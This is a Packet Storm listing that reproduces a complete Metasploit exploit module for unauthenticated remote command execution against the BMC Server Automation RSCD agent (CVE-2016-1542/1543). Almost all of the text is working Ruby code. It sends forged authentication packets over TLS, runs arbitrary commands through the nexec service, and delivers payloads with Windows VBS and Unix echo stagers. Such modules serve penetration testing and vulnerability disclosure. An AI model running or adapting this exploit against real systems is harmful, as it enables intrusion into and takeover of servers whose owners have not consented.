Lucene search

K
packetstormNicky BloorPACKETSTORM:146194
HistoryJan 31, 2018 - 12:00 a.m.

BMC Server Automation RSCD Agent NSH Remote Command Execution

2018-01-3100:00:00
Nicky Bloor
packetstormsecurity.com
61

0.339 Low

EPSS

Percentile

97.1%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BMC Server Automation RSCD Agent NSH Remote ' \  
'Command Execution',  
'Description' => %q(  
This module exploits a weak access control check in the BMC Server  
Automation RSCD agent that allows arbitrary operating system commands  
to be executed without authentication.  
Note: Under Windows, non-powershell commands may need to be prefixed  
with 'cmd /c'.  
),  
'Author' =>  
[  
'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery  
'Nicky Bloor (@NickstaDB) <[email protected]>' # RCE payload and Metasploit module  
],  
'References' =>  
[  
['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'],  
['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'],  
['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'],  
['CVE', '2016-1542'],  
['CVE', '2016-1543']  
],  
'DisclosureDate' => 'Mar 16 2016',  
'Privileged' => false,  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Platform' => %w[win linux unix],  
'Targets' =>  
[  
['Automatic', {}],  
[  
'Windows/VBS Stager', {  
'Platform' => 'win',  
'Payload' => { 'Space' => 8100 }  
}  
],  
[  
'Unix/Linux', {  
'Platform' => %w[linux unix],  
'Payload' => { 'Space' => 32_700 }  
}  
],  
[  
'Generic Command', {  
'Arch' => ARCH_CMD,  
'Platform' => %w[linux unix win]  
}  
]  
],  
'DefaultTarget' => 0,  
'License' => MSF_LICENSE,  
'Payload' => {  
'BadChars' => "\x00\x09\x0a"  
},  
'CmdStagerFlavor' => %w[vbs echo])  
)  
  
register_options(  
[  
Opt::RPORT(4750)  
]  
)  
  
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')  
end  
  
def check  
# Send agentinfo request and check result  
vprint_status('Checking for BMC with agentinfo request.')  
res = send_agentinfo_request  
  
# Check for successful platform detection  
if res[0] == 1  
vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])  
return CheckCode::Detected  
end  
  
# Get first four bytes of the packet which should hold the content length  
res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0  
  
# Return unknown if the packet format appears correct (length field check)  
if res[1] && res[1].length - 4 == res_len  
vprint_warning('Target appears to be BMC, however an unexpected ' \  
'agentinfo response was returned.')  
vprint_warning('Response: ' + res[1])  
return CheckCode::Unknown  
end  
  
# Invalid response, probably not a BMC RSCD target  
vprint_error('The target does not appear to be a BMC RSCD agent.')  
vprint_error('Response: ' + res[1]) if res[1]  
CheckCode::Safe  
end  
  
def exploit  
# Do auto target selection  
target_name = target.name  
  
if target_name == 'Automatic'  
# Attempt to detect the target platform  
vprint_status('Detecting remote platform for auto target selection.')  
platform = send_agentinfo_request  
  
# Fail if platform detection was unsuccessful  
if platform[0].zero?  
fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \  
'detecting target platform.')  
end  
  
# Set target based on returned platform  
target_name = if platform[1].downcase.include?('windows')  
'Windows/VBS Stager'  
else  
'Unix/Linux'  
end  
end  
  
# Exploit based on target  
vprint_status('Generating and delivering payload.')  
if target_name == 'Windows/VBS Stager'  
if payload.raw.start_with?('powershell', 'cmd')  
execute_command(payload.raw)  
else  
execute_cmdstager(flavor: :vbs, linemax: payload.space)  
end  
handler  
elsif target_name == 'Unix/Linux'  
execute_cmdstager(flavor: :echo, linemax: payload.space)  
handler  
elsif target_name == 'Generic Cmd'  
send_nexec_request(payload.raw, true)  
end  
end  
  
# Execute a command but don't print output  
def execute_command(command, opts = {})  
if opts[:flavor] == :vbs  
if command.start_with?('powershell') == false  
if command.start_with?('cmd') == false  
send_nexec_request('cmd /c ' + command, false)  
return  
end  
end  
end  
send_nexec_request(command, false)  
end  
  
# Connect to the RSCD agent and execute a command via nexec  
def send_nexec_request(command, show_output)  
# Connect and auth  
vprint_status('Connecting to RSCD agent and sending fake auth.')  
connect_to_rscd  
send_fake_nexec_auth  
  
# Generate and send the payload  
vprint_status('Sending command to execute.')  
sock.put(generate_cmd_pkt(command))  
  
# Finish the nexec request  
sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \  
"\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \  
"\x35\x38\x3b\x32\x34\x38\x35\x31")  
sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \  
"\x30\x30\x30\x30\x32\x65\x7f")  
sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \  
"\x30\x30\x30\x30\x32\x69\x03")  
sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \  
"\x30\x30\x30\x30\x32\x74\x31")  
sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \  
"\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \  
"\x34\x31")  
sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \  
"\x30\x30\x30\x30\x31\x7a")  
  
# Get the response from the RSCD agent and disconnect  
vprint_status('Reading response from RSCD agent.')  
res = read_cmd_output  
if show_output == true  
if res && res[0] == 1  
print_good("Output\n" + res[1])  
else  
print_warning('Command execution failed, the command may not exist.')  
vprint_warning("Output\n" + res[1])  
end  
end  
disconnect  
end  
  
# Attempt to retrieve RSCD agent info and return the platform string  
def send_agentinfo_request  
# Connect and send fake auth  
vprint_status('Connecting to RSCD agent and sending fake auth.')  
connect_to_rscd  
send_fake_agentinfo_auth  
  
# Send agentinfo request, read the response, and disconnect  
vprint_status('Requesting agent information.')  
sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \  
"\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \  
"\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \  
"\x31\x30\x30\x30\x30\x30\x30\x30\x30")  
res = sock.get_once  
disconnect  
  
# Return the platform field from the response if it looks valid  
res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0  
return [1, res.split(';')[4]] if res &&  
res.split(';').length > 6 &&  
res.length == (res_len + 4)  
  
# Invalid or unexpected response format, return the complete response  
[0, res]  
end  
  
# Connect to the target and upgrade to an encrypted connection  
def connect_to_rscd  
connect  
sock.put('TLS')  
sock.extend(Rex::Socket::SslTcp)  
sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)  
sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE  
sock.sslctx.options = OpenSSL::SSL::OP_ALL  
sock.sslctx.ciphers = 'ALL'  
sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)  
sock.sslsock.connect  
end  
  
# Send fake agentinfo auth packet and ignore the response  
def send_fake_agentinfo_auth  
sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \  
"\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \  
"\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \  
"\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \  
"\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \  
"\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) +  
"\x3b\x55\x54\x46\x2d\x38")  
sock.get_once  
end  
  
# Send fake nexec auth packet and ignore the response  
def send_fake_nexec_auth  
sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \  
"\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \  
"\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \  
"\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \  
"\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \  
"\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \  
"\x54\x46\x2d\x38")  
sock.get_once  
end  
  
# Generate a payload packet  
def generate_cmd_pkt(command)  
# Encode back slashes  
pkt = command.gsub('\\', "\xc1\xdc")  
  
# Encode double quotes unless powershell is being used  
pkt = pkt.gsub('"', "\xc2\x68") unless pkt.start_with?('powershell')  
  
# Construct the body of the payload packet  
pkt = pad_number(pkt.length + 32) + "\x30\x30\x30\x30\x30\x30\x31\x30" \  
"\x62\x37\x3b\x30\x3b\x32\x3b\x63\x61\x65\x3b\x64\x61\x34\x3b\x30" +  
pad_number(pkt.length) + pkt  
  
# Prefix with the packet length and return  
[pkt.length].pack('N') + pkt  
end  
  
# Convert the given number to a hex string padded to 8 chars  
def pad_number(num)  
format('%08x', num)  
end  
  
# Read the command output from the server  
def read_cmd_output  
all_output = ''  
response_done = false  
  
# Read the entire response from the RSCD service  
while response_done == false  
# Read a response chunk  
chunk = sock.get_once  
next unless chunk && chunk.length > 4  
chunk_len = chunk[0..3].unpack('N')[0]  
chunk = chunk[4..chunk.length]  
chunk += sock.get_once while chunk.length < chunk_len  
  
# Check for the "end of output" chunk  
if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \  
"\x61\x30\x30\x30\x30\x30\x30" \  
"\x30\x32\x78")  
# Response has completed  
response_done = true  
elsif all_output == ''  
# Keep the first response chunk as-is  
all_output += chunk  
  
# If the command failed, we're done  
response_done = true unless all_output[8..15].to_i(16) != 1  
else  
# Append everything but the length fields to the output buffer  
all_output += chunk[17..chunk.length]  
end  
end  
  
# Return output if response indicated success  
return [1, all_output[26..all_output.length]] if  
all_output &&  
all_output.length > 26 &&  
all_output[8..15].to_i(16) == 1  
  
# Return nothing if there isn't enough data for error output  
return [0, ''] unless all_output && all_output.length > 17  
  
# Get the length of the error output and return the error  
err_len = all_output[8..15].to_i(16) - 1  
[0, all_output[17..17 + err_len]]  
end  
end  
`